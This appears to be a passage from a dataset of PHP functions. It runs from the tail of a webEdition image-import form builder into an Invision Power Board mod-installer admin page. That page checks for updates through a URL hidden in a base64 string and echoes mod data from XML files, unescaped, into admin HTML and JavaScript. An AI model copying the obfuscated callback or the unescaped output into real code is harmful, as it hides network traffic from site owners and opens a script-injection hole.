we_forms::checkboxWithHidden(\n\t\t\t\t\t\t\t\t\t$this->importMetadata == true, \n\t\t\t\t\t\t\t\t\t'importMetadata', \n\t\t\t\t\t\t\t\t\t$GLOBALS[\"l_import_files\"][\"import_metadata\"]), \n\t\t\t\t\t\t\t'space' => 120\n\t\t\t\t\t));\n\t\t\t\n\t\t\tif (we_image_edit::gd_version() > 0) {\n\t\t\t\t\n\t\t\t\tarray_push(\n\t\t\t\t\t\t$parts, \n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\"headline\" => $GLOBALS[\"l_import_files\"][\"make_thumbs\"], \n\t\t\t\t\t\t\t\t\"html\" => $_thumbs, \n\t\t\t\t\t\t\t\t\"space\" => 120\n\t\t\t\t\t\t));\n\t\t\t\t\n\t\t\t\t$widthInput = htmlTextInput(\"width\", \"10\", $this->width, \"\", '', \"text\", 60);\n\t\t\t\t$heightInput = htmlTextInput(\"height\", \"10\", $this->height, \"\", '', \"text\", 60);\n\t\t\t\t\n\t\t\t\t$widthSelect = '<select size=\"1\" class=\"weSelect\" name=\"widthSelect\"><option value=\"pixel\"' . (($this->widthSelect == \"pixel\") ? ' selected=\"selected\"' : '') . '>' . $GLOBALS[\"l_we_class\"][\"pixel\"] . '</option><option value=\"percent\"' . (($this->widthSelect == \"percent\") ? ' selected=\"selected\"' : '') . '>' . $GLOBALS[\"l_we_class\"][\"percent\"] . '</option></select>';\n\t\t\t\t$heightSelect = '<select size=\"1\" class=\"weSelect\" name=\"heightSelect\"><option value=\"pixel\"' . (($this->heightSelect == \"pixel\") ? ' selected=\"selected\"' : '') . '>' . $GLOBALS[\"l_we_class\"][\"pixel\"] . '</option><option value=\"percent\"' . (($this->heightSelect == \"percent\") ? ' selected=\"selected\"' : '') . '>' . $GLOBALS[\"l_we_class\"][\"percent\"] . '</option></select>';\n\t\t\t\t\n\t\t\t\t$ratio_checkbox = we_forms::checkbox(\n\t\t\t\t\t\t\"1\", \n\t\t\t\t\t\t$this->keepRatio, \n\t\t\t\t\t\t\"keepRatio\", \n\t\t\t\t\t\t$GLOBALS[\"l_thumbnails\"][\"ratio\"]);\n\t\t\t\t\n\t\t\t\t$_resize = '<table border=\"0\" cellpadding=\"2\" cellspacing=\"0\">\n\t\t\t\t<tr>\n\t\t\t\t\t<td class=\"defaultfont\">' . $GLOBALS[\"l_we_class\"][\"width\"] . ':</td>\n\t\t\t\t\t<td>' . $widthInput . '</td>\n\t\t\t\t\t<td>' . $widthSelect . '</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td class=\"defaultfont\">' . $GLOBALS[\"l_we_class\"][\"height\"] . ':</td>\n\t\t\t\t\t<td>' . $heightInput . '</td>\n\t\t\t\t\t<td>' . $heightSelect . '</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td colspan=\"3\">' . $ratio_checkbox . '</td>\n\t\t\t\t</tr>\n\t\t\t</table>';\n\t\t\t\t\n\t\t\t\tarray_push(\n\t\t\t\t\t\t$parts, \n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\"headline\" => $GLOBALS[\"l_we_class\"][\"resize\"], \"html\" => $_resize, \"space\" => 120\n\t\t\t\t\t\t));\n\t\t\t\t\n\t\t\t\t$_radio0 = we_forms::radiobutton(\n\t\t\t\t\t\t\"0\", \n\t\t\t\t\t\t$this->degrees == 0, \n\t\t\t\t\t\t\"degrees\", \n\t\t\t\t\t\t$GLOBALS[\"l_we_class\"][\"rotate0\"]);\n\t\t\t\t$_radio180 = we_forms::radiobutton(\n\t\t\t\t\t\t\"180\", \n\t\t\t\t\t\t$this->degrees == 180, \n\t\t\t\t\t\t\"degrees\", \n\t\t\t\t\t\t$GLOBALS[\"l_we_class\"][\"rotate180\"]);\n\t\t\t\t$_radio90l = we_forms::radiobutton(\n\t\t\t\t\t\t\"90\", \n\t\t\t\t\t\t$this->degrees == 90, \n\t\t\t\t\t\t\"degrees\", \n\t\t\t\t\t\t$GLOBALS[\"l_we_class\"][\"rotate90l\"]);\n\t\t\t\t$_radio90r = we_forms::radiobutton(\n\t\t\t\t\t\t\"270\", \n\t\t\t\t\t\t$this->degrees == 270, \n\t\t\t\t\t\t\"degrees\", \n\t\t\t\t\t\t$GLOBALS[\"l_we_class\"][\"rotate90r\"]);\n\t\t\t\t\n\t\t\t\tarray_push(\n\t\t\t\t\t\t$parts, \n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\"headline\" => $GLOBALS[\"l_we_class\"][\"rotate\"], \n\t\t\t\t\t\t\t\t\"html\" => $_radio0 . $_radio180 . $_radio90l . $_radio90r, \n\t\t\t\t\t\t\t\t\"space\" => 120\n\t\t\t\t\t\t));\n\t\t\t\t\n\t\t\t\tarray_push(\n\t\t\t\t\t\t$parts, \n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\"headline\" => $GLOBALS[\"l_we_class\"][\"quality\"], \n\t\t\t\t\t\t\t\t\"html\" => we_qualitySelect(\"quality\", $this->quality), \n\t\t\t\t\t\t\t\t\"space\" => 120\n\t\t\t\t\t\t));\n\t\t\t} else {\n\t\t\t\tarray_push(\n\t\t\t\t\t\t$parts, \n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\"headline\" => \"\", \n\t\t\t\t\t\t\t\t\"html\" => htmlAlertAttentionBox(\n\t\t\t\t\t\t\t\t\t\t$GLOBALS[\"l_import_files\"][\"add_description_nogdlib\"], \n\t\t\t\t\t\t\t\t\t\t2, \n\t\t\t\t\t\t\t\t\t\t\"\"), \n\t\t\t\t\t\t\t\t\"space\" => 0\n\t\t\t\t\t\t));\n\t\t\t}\n\t\t\t$foldAT = 4;\n\t\t} else {\n\t\t\t$foldAT = -1;\n\t\t}\n\t\t\n\t\t$wepos = weGetCookieVariable(\"but_wesiteimport\");\n\t\t$content = we_multiIconBox::getJS();\n\t\t$content .= we_multiIconBox::getHTML(\n\t\t\t\t\"wesiteimport\", \n\t\t\t\t\"100%\", \n\t\t\t\t$parts, \n\t\t\t\t30, \n\t\t\t\t\"\", \n\t\t\t\t$foldAT, \n\t\t\t\t$GLOBALS[\"l_import_files\"][\"image_options_open\"], \n\t\t\t\t$GLOBALS[\"l_import_files\"][\"image_options_close\"], \n\t\t\t\t($wepos == \"down\"), \n\t\t\t\t$GLOBALS[\"l_siteimport\"][\"siteimport\"]) . $this->_getHiddensHTML();\n\t\t\n\t\t$content = we_htmlElement::htmlForm(\n\t\t\t\tarray(\n\t\t\t\t\t\n\t\t\t\t\t\t\"action\" => WEBEDITION_DIR . \"we_cmd.php\", \n\t\t\t\t\t\t\"name\" => \"we_form\", \n\t\t\t\t\t\t\"method\" => \"post\", \n\t\t\t\t\t\t\"target\" => \"siteimportcmd\"\n\t\t\t\t), \n\t\t\t\t$content);\n\t\t\n\t\t$body = we_htmlElement::htmlBody(array(\n\t\t\t\"class\" => \"weDialogBody\", \"onunload\" => \"doUnload();\"\n\t\t), $content);\n\t\t\n\t\t$js = $this->_getJS();\n\t\t\n\t\treturn $this->_getHtmlPage($body, $js);\n\t}", "function view_mods()\n\t{\n\t\t//-----------------------------------------\n\t\t// Page Info\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->ipsclass->admin->page_title = \"(FSY23) Universal Mod Installer: Manage Mod Installations\";\n\t\t$this->ipsclass->admin->page_detail = \"Install, upgrade, and uninstall all compatible mods\";\n\t\t$this->ipsclass->admin->nav[] = array( '', 'Manage Mod Installations' );\n\t\t\n\t\t//-----------------------------------------\n\t\t// Instantiate some arrays\n\t\t//-----------------------------------------\n\t\t\n\t\t$installable_mods = array();\n\t\t$installed_names = array();\n\t\t$installed_info = array();\n\t\t\n\t\t//-----------------------------------------\n\t\t// Page jump stuff\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( $this->ipsclass->input['st'] > 0 )\n\t\t{\n\t\t\t$first = intval( $this->ipsclass->input['st'] );\n\t\t}\n\t\t\n\t\t$this->ipsclass->vars['umi_mods_perpage'] = ( $this->ipsclass->vars['umi_mods_perpage'] ) ? $this->ipsclass->vars['umi_mods_perpage'] : 10;\n\t\t\n\t\t//-----------------------------------------\n\t\t// Does PHP have CURL available?\n\t\t//-----------------------------------------\n\t\t\n\t\t$can_curl = function_exists( 'curl_init' );\n\t\t\n\t\t//-----------------------------------------\n\t\t// Make sure we have a mod_install directory\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( !file_exists( ROOT_PATH.\"mod_install/\" ) )\n\t\t{\n\t\t\tif ( !@mkdir( ROOT_PATH.\"mod_install/\", 0755 ) )\n\t\t\t{\n\t\t\t\t$this->ipsclass->admin->error( \"You have no ./mod_install directory. Please create this directory using your FTP program, and ensure the CHMOD is set to 755.\" );\n\t\t\t}\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Look for any installer files\n\t\t//-----------------------------------------\n\t\t\n\t\t$path = ROOT_PATH.\"mod_install/\";\n\t\t$files = array();\n\t\t\n\t\tif ( $handle = opendir( $path ) )\n\t\t{\n\t\t\twhile ( false !== ( $file = readdir( $handle ) ) )\n\t\t\t{\n\t\t\t\t$ext = preg_replace( \"/^.*\\.(\\S+)$/\", \"\\\\1\", $file );\n\t\t\t\t\n\t\t\t\tif ( $ext == \"xml\" )\n\t\t\t\t{\n\t\t\t\t\t$files[] = $file;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tclosedir( $handle );\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Do we have any files to look at?\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( count( $files ) )\n\t\t{\n\t\t\tforeach ( $files as $k => $v )\n\t\t\t{\n\t\t\t\t$this->ipsclass->xml->xml_parse_document( file_get_contents( ROOT_PATH.\"mod_install/\".$v ) );\n\t\t\t\t\n\t\t\t\tif ( !is_array( $this->ipsclass->xml->xml_array['mod_data'] ) )\n\t\t\t\t{\n\t\t\t\t\t$this->ipsclass->admin->error( \"There was an error reading the XML file '$v' in your mod_install directory. Please correct the problem before continuing.\" );\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$themod = array();\n\t\t\t\t$temp = $this->ipsclass->xml->xml_array['mod_data']['mod_info'];\n\t\t\t\t\n\t\t\t\t$themod['title'] = $temp['title']['VALUE'];\n\t\t\t\t$themod['version'] = $temp['version']['VALUE'];\n\t\t\t\t$themod['author'] = $temp['author']['VALUE'];\n\t\t\t\t$themod['website'] = $temp['website']['VALUE'];\n\t\t\t\t$themod['file'] = str_replace( \".xml\", \"\", $v );\n\t\t\t\t$themod['ipbver'] = $temp['ipbver']['VALUE'];\n\t\t\t\t$themod['version_file'] = $temp['version_file']['VALUE'];\n\t\t\t\t\n\t\t\t\t$key = strtolower( $temp['title']['VALUE'] );\n\t\t\t\t$key = str_replace( \" \", \"_\", $key );\n\t\t\t\t\n\t\t\t\tif ( $themod['title'] != \"\" && in_array( $themod['ipbver'], array( '2.2', '2.3' ) ) )\n\t\t\t\t{\n\t\t\t\t\t$installable_mods[str_replace( '.', '', $themod['ipbver'])][ $key ] = $themod;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tforeach ( $installable_mods as $ver => $mods )\n\t\t\t{\n\t\t\t\tksort( $installable_mods[ $ver ] );\n\t\t\t}\n\t\t\t\n\t\t\t$new_mods = $installable_mods;\n\t\t\tunset( $installable_mods );\n\t\t\t$installable_mods = array();\n\t\t\t\n\t\t\tforeach ( $new_mods as $version => $itsmods )\n\t\t\t{\n\t\t\t\t$new_index = 0;\n\t\t\t\t\n\t\t\t\tforeach ( $itsmods as $key => $mod )\n\t\t\t\t{\n\t\t\t\t\t$installable_mods[ $version ][ $new_index++ ] = $mod;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Let's find what the latest mods are\n\t\t//-----------------------------------------\n\t\t\n\t\t$latest_mods = array();\n\t\t$latest_umi = 0;\n\t\t$link = base64_decode( \"aHR0cDovL3d3dy5pbnZpc2lvbm1vZGRpbmcuY29tL3VtaS9tb2RzLnhtbA==\" );\n\t\t$mod_files = array();\n\t\t$file_contents = \"\";\n\t\t\n\t\tif ( $this->ipsclass->vars['umi_do_callbacks'] )\n\t\t{\n\t\t\tif ( $can_curl )\n\t\t\t{\n\t\t\t\t$ch = curl_init();\n\t\t\t\t\n\t\t\t\tcurl_setopt( $ch, CURLOPT_URL, $link );\n\t\t\t\tcurl_setopt( $ch, CURLOPT_HEADER, 0 );\n\t\t\t\tcurl_setopt( $ch, CURLOPT_TIMEOUT, 3 );\n\t\t\t\t\n\t\t\t\tob_start();\n\t\t\t\t\n\t\t\t\tcurl_exec( $ch );\n\t\t\t\tcurl_close( $ch );\n\t\t\t\t$file_contents = ob_get_contents();\n\t\t\t\t\n\t\t\t\tob_end_clean();\n\t\t\t}\n\t\t\t\n\t\t\tif ( !$file_contents )\n\t\t\t{\n\t\t\t\t$handle = @fopen( $link, \"r\" );\n\t\t\t\t\t\n\t\t\t\tif ( $handle !== false )\n\t\t\t\t{\n\t\t\t\t\t@fclose( $handle );\n\t\t\t\t\t$file_contents = @file_get_contents( $link );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif ( $file_contents )\n\t\t{\n\t\t\t$this->ipsclass->xml->xml_parse_document( $file_contents );\n\t\t\t\n\t\t\tif ( is_array( $this->ipsclass->xml->xml_array['mods']['ipb22']['mod'] ) )\n\t\t\t{\n\t\t\t\tforeach ( $this->ipsclass->xml->xml_array['mods']['ipb22']['mod'] as $k => $v )\n\t\t\t\t{\n\t\t\t\t\t$latest_mods[22][ $v['file']['VALUE'] ] = $v['version']['VALUE'];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif ( is_array( $this->ipsclass->xml->xml_array['mods']['ipb23']['mod'] ) )\n\t\t\t{\n\t\t\t\tforeach ( $this->ipsclass->xml->xml_array['mods']['ipb23']['mod'] as $k => $v )\n\t\t\t\t{\n\t\t\t\t\t$latest_mods[23][ $v['file']['VALUE'] ] = $v['version']['VALUE'];\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$latest_umi = $this->ipsclass->xml->xml_array['mods']['umi']['VALUE'];\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Build the mods table\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Mod Title\" , \"40%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Version\" , \"10%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Author\" , \"15%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Installed?\" , \"10%\" );\n\t\t\n\t\tif ( $this->ipsclass->vars['umi_do_callbacks'] )\n\t\t{\n\t\t\t$this->ipsclass->adskin->td_header[] = array( \"Up To Date?\" , \"15%\" );\n\t\t}\n\t\t\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Options\" , \"10%\" );\n\t\t\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->start_table( \"Available Modifications\" );\n\t\t\n\t\t//-----------------------------------------\n\t\t// What mods are we displaying?\n\t\t//-----------------------------------------\n\t\t\n\t\t$to_display = array();\n\t\t$i = 0;\n\t\t\n\t\tforeach ( $installable_mods as $a => $b )\n\t\t{\n\t\t\tforeach ( $b as $c => $d )\n\t\t\t{\n\t\t\t\t$to_display[ $i++ ] = $d;\n\t\t\t}\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Get the latest info for these mods\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( count( $to_display ) )\n\t\t{\n\t\t\tforeach ( $to_display as $idx => $mod )\n\t\t\t{\n\t\t\t\tif ( $idx < $first )\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( $idx >= $first + $this->ipsclass->vars['umi_mods_perpage'] )\n\t\t\t\t{\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( $mod['version_file'] && !in_array( $mod['version_file'], $mod_files ) )\n\t\t\t\t{\n\t\t\t\t\t$mod_files[] = $mod['version_file'];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\tif ( $this->ipsclass->vars['umi_do_callbacks'] && count( $mod_files ) )\n\t\t{\n\t\t\tforeach ( $mod_files as $mod_file )\n\t\t\t{\n\t\t\t\tif ( $can_curl )\n\t\t\t\t{\n\t\t\t\t\t$ch = curl_init();\n\t\t\t\t\t\n\t\t\t\t\tcurl_setopt( $ch, CURLOPT_URL, $mod_file );\n\t\t\t\t\tcurl_setopt( $ch, CURLOPT_HEADER, 0 );\n\t\t\t\t\tcurl_setopt( $ch, CURLOPT_TIMEOUT, 3 );\n\t\t\t\t\t\n\t\t\t\t\tob_start();\n\t\t\t\t\t\n\t\t\t\t\tcurl_exec( $ch );\n\t\t\t\t\tcurl_close( $ch );\n\t\t\t\t\t$version_contents = ob_get_contents();\n\t\t\t\t\t\n\t\t\t\t\tob_end_clean();\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( !$version_contents )\n\t\t\t\t{\n\t\t\t\t\t$handle = @fopen( $mod_file, \"r\" );\n\t\t\t\t\t\n\t\t\t\t\tif ( $handle !== false )\n\t\t\t\t\t{\n\t\t\t\t\t\t@fclose( $handle );\n\t\t\t\t\t\t$version_contents = @file_get_contents( $mod_file );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif ( $version_contents )\n\t\t\t\t{\n\t\t\t\t\t$this->ipsclass->xml->xml_parse_document( $version_contents );\n\t\t\t\t\t\n\t\t\t\t\tif ( !is_array( $this->ipsclass->xml->xml_array['mods']['ipb22']['mod'][0] ) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$tmp = $this->ipsclass->xml->xml_array['mods']['ipb22']['mod'];\n\t\t\t\t\t\tunset( $this->ipsclass->xml->xml_array['mods']['ipb22']['mod'] );\n\t\t\t\t\t\t$this->ipsclass->xml->xml_array['mods']['ipb22']['mod'][0] = $tmp;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif ( !is_array( $this->ipsclass->xml->xml_array['mods']['ipb23']['mod'][0] ) )\n\t\t\t\t\t{\n\t\t\t\t\t\t$tmp = $this->ipsclass->xml->xml_array['mods']['ipb23']['mod'];\n\t\t\t\t\t\tunset( $this->ipsclass->xml->xml_array['mods']['ipb23']['mod'] );\n\t\t\t\t\t\t$this->ipsclass->xml->xml_array['mods']['ipb23']['mod'][0] = $tmp;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tforeach ( $this->ipsclass->xml->xml_array['mods']['ipb22']['mod'] as $kk => $vv )\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( !in_array( $vv['file']['VALUE'], array_keys( $latest_mods ) ) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$latest_mods[22][ $vv['file']['VALUE'] ] = $vv['version']['VALUE'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tforeach ( $this->ipsclass->xml->xml_array['mods']['ipb23']['mod'] as $kk => $vv )\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( !in_array( $vv['file']['VALUE'], array_keys( $latest_mods ) ) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$latest_mods[23][ $vv['file']['VALUE'] ] = $vv['version']['VALUE'];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// What mods do we have installed?\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->ipsclass->DB->build_query( array( 'select' => '*',\n\t\t\t\t\t\t\t\t\t\t\t\t 'from' => 'installed_mods',\n\t\t\t\t\t\t\t\t\t\t\t\t 'order' => 'm_name',\n\t\t\t\t\t\t\t\t\t\t)\t );\n\t\t$this->ipsclass->DB->exec_query();\n\t\t\n\t\tif ( $this->ipsclass->DB->get_num_rows() )\n\t\t{\n\t\t\twhile ( $r = $this->ipsclass->DB->fetch_row() )\n\t\t\t{\n\t\t\t\t$installed_names[] = $r['m_name'];\n\t\t\t\t$installed_info[ str_replace( \" \", \"_\", $r['m_name'] ) ] = $r;\n\t\t\t}\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// OK, let's show some mods\n\t\t//-----------------------------------------\n\t\t\n\t\tforeach ( $to_display as $k => $v )\n\t\t{\n\t\t\t//-----------------------------------------\n\t\t\t// Page jump stuff\n\t\t\t//-----------------------------------------\n\t\t\t\n\t\t\tif ( $k < $first )\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\n\t\t\tif ( $k >= $first + $this->ipsclass->vars['umi_mods_perpage'] )\n\t\t\t{\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t\n\t\t\t//-----------------------------------------\n\t\t\t// Possible row entries\n\t\t\t//-----------------------------------------\n\t\t\t\n\t\t\t$title = \"<strong>{$v['title']}</strong>\";\n\t\t\t$version = \"<div align='center'>v{$v['version']}</div>\";\n\t\t\t$author = \"<div align='center'><a href='{$v['website']}' target='_blank'>{$v['author']}</a></div>\";\n\t\t\t$outdated = \"<div align='center'><img src='{$this->ipsclass->skin_acp_url}/images/memsearch_delete.gif' border='0' title='Out of Date, you have v<!--VERSION--> installed' /></div>\";\n\t\t\t$installed = \"<div align='center'><img src='{$this->ipsclass->skin_acp_url}/images/aff_tick.png' border='0' title='Installed' /></div>\";\n\t\t\t$problem = \"<div align='center'><img src='{$this->ipsclass->skin_acp_url}/images/acp_trashcan.gif' border='0' title='There was a problem completing a previous installation, it is recommended that you uninstall this mod' /></div>\";\n\t\t\t$not_ins = \"<div align='center'><img src='{$this->ipsclass->skin_acp_url}/images/aff_cross.png' border='0' title='Not Installed' /></div>\";\n\t\t\t$upd_avail = \"<div align='center'><img src='{$this->ipsclass->skin_acp_url}/images/aff_cross.png' border='0' title='An update to this mod is available!' /></div>\";\n\t\t\t$uptodate = \"<div align='center'><img src='{$this->ipsclass->skin_acp_url}/images/aff_tick.png' border='0' title='You have the latest version of this mod installed!' /></div>\";\n\t\t\t$unknown = \"<div align='center'><img src='{$this->ipsclass->skin_acp_url}/images/memsearch_delete.gif' border='0' title='Unknown' /></div>\";\n\t\t\t$options = \"<div align='center'><img id='menu{$v['file']}' src='{$this->ipsclass->skin_acp_url}/images/filebrowser_action.gif' border='0' title='Options' class='ipd' /></div>\";\n\t\t\t\n\t\t\t//-----------------------------------------\n\t\t\t// Possible install options\n\t\t\t//-----------------------------------------\n\t\t\t\n\t\t\t$opts = \"\";\n\t\t\t$opts_1 = \"img_add + \\\" <a href='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code}&amp;code=install&amp;mod={$v['file']}&amp;st={$this->ipsclass->input['st']}'>Upgrade...</a>\\\",\nimg_delete + \\\" <a href='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code}&amp;code=install&amp;mod={$v['file']}&amp;un=1&amp;st={$this->ipsclass->input['st']}'>Uninstall...</a>\\\"\";\n\t\t\t$opts_2 = \"img_add + \\\" <a href='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code}&amp;code=install&amp;mod={$v['file']}&amp;st={$this->ipsclass->input['st']}'>Reinstall...</a>\\\",\nimg_delete + \\\" <a href='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code}&amp;code=install&amp;mod={$v['file']}&amp;un=1&amp;st={$this->ipsclass->input['st']}'>Uninstall...</a>\\\"\";\n\t\t\t$opts_3 = \"img_delete + \\\" <a href='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code}&amp;code=install&amp;mod={$v['file']}&amp;un=1&amp;st={$this->ipsclass->input['st']}'>Uninstall...</a>\\\"\";\n\t\t\t$opts_4 = \"img_add + \\\" <a href='{$this->ipsclass->base_url}&amp;{$this->ipsclass->form_code}&amp;code=install&amp;mod={$v['file']}&amp;st={$this->ipsclass->input['st']}'>Install...</a>\\\"\";\n\t\t\t\n\t\t\t//-----------------------------------------\n\t\t\t// Our different possibilities\n\t\t\t//-----------------------------------------\n\t\t\t\n\t\t\tif ( in_array( $v['title'], $installed_names ) )\n\t\t\t{\n\t\t\t\t$mod_info = $installed_info[ str_replace( \" \", \"_\", $v['title'] ) ];\n\t\t\t\t\n\t\t\t\tif ( $mod_info['m_started'] == 1 )\n\t\t\t\t{\n\t\t\t\t\tif ( $mod_info['m_finished'] == 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\tif ( $mod_info['m_version'] < $v['version'] )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$opts = $opts_1;\n\t\t\t\t\t\t\t$outdated = str_replace( \"<!--VERSION-->\", $mod_info['m_version'], $outdated );\n\t\t\t\t\t\t\t$data = ( $this->ipsclass->vars['umi_do_callbacks'] ) ? array( $title, $version, $author, $outdated, $upd_avail, $options ): array( $title, $version, $author, $outdated, $options );\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$ipbver = str_replace( '.', '', $v['ipbver'] );\n\t\t\t\t\t\t\tif ( isset( $latest_mods[ $ipbver ][ $v['file'] ] ) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ( $latest_mods[ $ipbver ][ $v['file'] ] > $v['version'] )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$uptodate = $upd_avail;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$uptodate = $unknown;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$opts = $opts_2;\n\t\t\t\t\t\t\t$data = ( $this->ipsclass->vars['umi_do_callbacks'] ) ? array( $title, $version, $author, $installed, $uptodate, $options ) : array( $title, $version, $author, $installed, $options );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$opts = $opts_3;\n\t\t\t\t\t\t$data = ( $this->ipsclass->vars['umi_do_callbacks'] ) ? array( $title, $version, $author, $problem, $unknown, $options ) : array( $title, $version, $author, $problem, $options );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif ( $mod_info['m_finished'] == 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\t$opts = $opts_3;\n\t\t\t\t\t\t$data = ( $this->ipsclass->vars['umi_do_callbacks'] ) ? array( $title, $version, $author, $problem, $unknown, $options ) : array( $title, $version, $author, $problem, $options );\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$opts = $opts_4;\n\t\t\t\t\t\t$data = ( $this->ipsclass->vars['umi_do_callbacks'] ) ? array( $title, $version, $author, $not_ins, $not_ins, $options ) : array( $title, $version, $author, $not_ins, $options );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$opts = $opts_4;\n\t\t\t\t$data = ( $this->ipsclass->vars['umi_do_callbacks'] ) ? array( $title, $version, $author, $not_ins, $not_ins, $options ) : array( $title, $version, $author, $not_ins, $options );\n\t\t\t}\n\t\t\t\n\t\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( $data );\n\t\t\t\n\t\t\t//-----------------------------------------\n\t\t\t// Add the file options\n\t\t\t//-----------------------------------------\n\t\t\t\n\t\t\t$this->ipsclass->html .=\"<script type=\\\"text/javascript\\\">\n menu_build_menu(\n \\\"menu{$v['file']}\\\",\n new Array( \".$opts.\"\n\t\t ) );\n </script>\n\";\n\t\t}\n\t\t\n\t\t//-----------------------------------------\n\t\t// Page Jump\n\t\t//-----------------------------------------\n\t\t\n\t\t$pages = $this->ipsclass->adskin->build_pagelinks( array( 'TOTAL_POSS' => count( $to_display ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'PER_PAGE' => $this->ipsclass->vars['umi_mods_perpage'],\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'CUR_ST_VAL' => $first,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'L_SINGLE' => \"\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'L_MULTI' => \"Pages: \",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'BASE_URL' => $this->ipsclass->base_url.\"&amp;\".$this->ipsclass->form_code.\"&amp;code=view\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t ) );\n\t\t\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_basic( $pages, 'right', 'tablerow2' );\n\t\t\n\t\t//-----------------------------------------\n\t\t// Finish the table\n\t\t//-----------------------------------------\n\t\t\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->end_table();\n\t\t\n\t\t//-----------------------------------------\n\t\t// Make sure UMI is up to date\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( $this->ipsclass->vars['umi_do_callbacks'] )\n\t\t{\n\t\t\t$this->ipsclass->html .= $this->ipsclass->adskin->start_table( \"Update Checker\" );\n\t\t\t\t\n\t\t\tif ( $latest_umi > 0 )\n\t\t\t{\n\t\t\t\t$latest_text = ( $latest_umi != $this->umi_ver ) ? \"<span style='font-weight: bold; color: red;'>OUT OF DATE</span>\" : \"<span style='font-weight: bold; 